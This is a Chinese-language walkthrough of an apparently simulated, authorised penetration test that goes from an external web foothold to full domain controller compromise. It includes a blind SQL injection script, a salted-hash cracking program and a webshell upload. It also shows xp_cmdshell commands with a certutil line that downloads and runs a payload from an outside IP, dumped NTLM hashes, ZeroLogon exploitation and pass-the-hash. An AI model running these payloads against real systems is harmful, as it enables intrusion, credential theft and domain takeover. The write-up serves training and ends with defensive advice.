域渗透之外网打点到三层内网
字数 1971 2025-08-27 12:33:37
域渗透之外网打点到三层内网渗透教学文档
环境搭建与项目概述
项目介绍
- 模拟授权渗透测试场景,从外网打点到内网横向渗透
- 三层代理内网穿透环境
- 涉及技术:内网穿透、Cobalt Strike使用、手工EXP编写、边界突破、流行内网渗透技术
VPS映射配置
- 公网VPS配置frps.ini并运行:
frps.exe -c frps.ini - 目标主机(web1)配置frpc.ini并运行:
frpc.exe -c frp.ini - 成功映射后访问地址:
http://x.x.x.x:8088/login.jsp
外网打点阶段
信息收集
-
端口探测
- 使用nmap扫描发现开放端口:4444、5003、8088、8899、8878
- 详细分析各端口服务
-
网上银行系统分析
- 尝试弱口令和暴力破解未果
- 在GitHub发现源码:
https://github.com/amateur-RD/netBank-System - 源码中发现数据库文件,包含普通用户和管理员账户密码
SQL注入攻击
- 手工SQL注入
- 发现登录处存在SQL注入漏洞
- sqlmap无法直接利用
- 编写Python脚本进行盲注:
import requests
password = ""
url = "http://x.x.x.x:8878/admin/login"
payload = "0123456789abcdefghijklmnopqrstuvwxyz"
password = ""
for i in range(1, 20):
for j in payload:
exp = "admin' and(select substring(password, %s,1) from Admin) like '%s' or '1' = '" %(i,j)
print("正在注入")
data = {
"admin.username": exp,
"admin.password": 'aaaa',
"type": 1
}
req = requests.post(url=url, data=data);
if "密码不正确" in req.text:
password += j
break
print(password)
-
TomExam系统注入
- 发现可注册用户
- 登录后找到SQL注入点
- 使用sqlmap获取用户信息:
| 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 | | 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14 - 对MD5哈希进行解密
-
Jspxcms系统分析
- 搜索历史漏洞发现文件上传getshell方法
- 从TomExam数据库中发现jspxcms管理员凭据
- 密码加密方式:明文密码+salt再进行MD5加密
- 编写Java解密脚本:
package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
public static void main(String[] args) throws Exception {
byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
SHA1CredentialsDigest test = new SHA1CredentialsDigest();
String fileName = "D:\\csdnpass.txt";
String fileName2 = "D:\\hashpassword2.txt";
try (Scanner sc = new Scanner(new FileReader(fileName))) {
while (sc.hasNextLine()) {
String line = sc.nextLine();
String encPass = test.digest(line, salt);
File f = new File(fileName2);
FileWriter fw = new FileWriter(f, true);
PrintWriter pw = new PrintWriter(fw);
pw.println(line + " " + encPass);
pw.close();
}
}
}
}
获取Webshell
-
登录Jspxcms后台
- 使用解密获得的管理员凭据登录
- 使用哥斯拉生成木马,打包为war文件
-
目录穿越上传
- 根据先知社区披露的方法编写目录穿越脚本
- 成功上传webshell
- 使用哥斯拉连接并执行命令
内网渗透阶段
Cobalt Strike上线
-
配置内网CS
- Kali启动CS服务端
- 配置frps.ini进行反向代理
- 生成监听器
- 上传.exe文件实现主机上线
-
内网信息收集
shell ipconfig查看网络配置- 测试与其他主机的连通性
net view尝试发现域内主机(初始失败)
-
代理配置与端口扫描
- 通过代理扫描发现MSSQL服务(1433端口)
- 暴力破解成功获取MSSQL凭据
MSSQL利用
-
使用mssqlclient登录
- 使用爆破获得的凭据登录MSSQL服务器
-
xp_cmdshell利用
- 启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - 执行命令收集信息
- 下载并执行木马:
xp_cmdshell certutil -urlcache -split -f http://39.103.134.134/artifact.exe c:/windows/temp/artifact.exe
- 启用xp_cmdshell:
-
提权操作
- 使用SweetPotato (MS16-075)进行提权
- 成功获取系统权限
域渗透阶段
域信息收集
-
基础信息收集
net view查看域内主机hashdump获取用户哈希- 查看主机IP和域控信息
-
获取的哈希示例
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d::: sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16::: AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::
ZeroLogon攻击(CVE-2020-1472)
-
漏洞利用
- 编译zerologon脚本为exe
- 测试确认漏洞存在
- 将域控密码设置为空:
31d6cfe0d16ae931b73c59d7e0c089c0
-
配置代理登录域控
- 配置Kali代理
- 通过代理连接域控
-
PTH上线CS
- 关闭域控防火墙
- 使用Pass-the-Hash技术上线CS
- 生成TCP监听并跳转到域控主机
恢复域控密码
-
获取原始哈希
- 使用secretsdump.py获取哈希:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
- 使用secretsdump.py获取哈希:
-
恢复原始密码
- 使用reinstall_original_pw.py恢复密码:
proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 fb61e3c372e666adccb7a820aa39772f
- 使用reinstall_original_pw.py恢复密码:
总结与关键技术点
完整攻击链
- 外网打点:信息收集 → 源码分析 → SQL注入 → 密码破解 → 后台登录
- 内网穿透:FRP反向代理 → Cobalt Strike上线 → 内网探测
- 横向移动:MSSQL利用 → xp_cmdshell → 提权 → 域信息收集
- 域控攻陷:ZeroLogon漏洞 → PTH攻击 → 密码恢复
关键技能
- 手工注入能力:当工具无法使用时编写专用脚本
- 加密分析能力:通过源码分析加密方式并编写解密脚本
- 内网穿透技术:FRP配置与使用
- Cobalt Strike高级用法:内网主机上线、横向移动
- 漏洞利用能力:MS16-075、CVE-2020-1472等漏洞的实战利用
- 域渗透技术:哈希传递、黄金票据等攻击手法
防御建议
- 加强外网系统安全性,修复SQL注入等漏洞
- 实施严格的密码策略,避免密码重用
- 及时安装安全补丁,特别是MS16-075和CVE-2020-1472
- 限制内网横向移动能力,实施网络分段
- 监控异常行为,如异常的哈希传递活动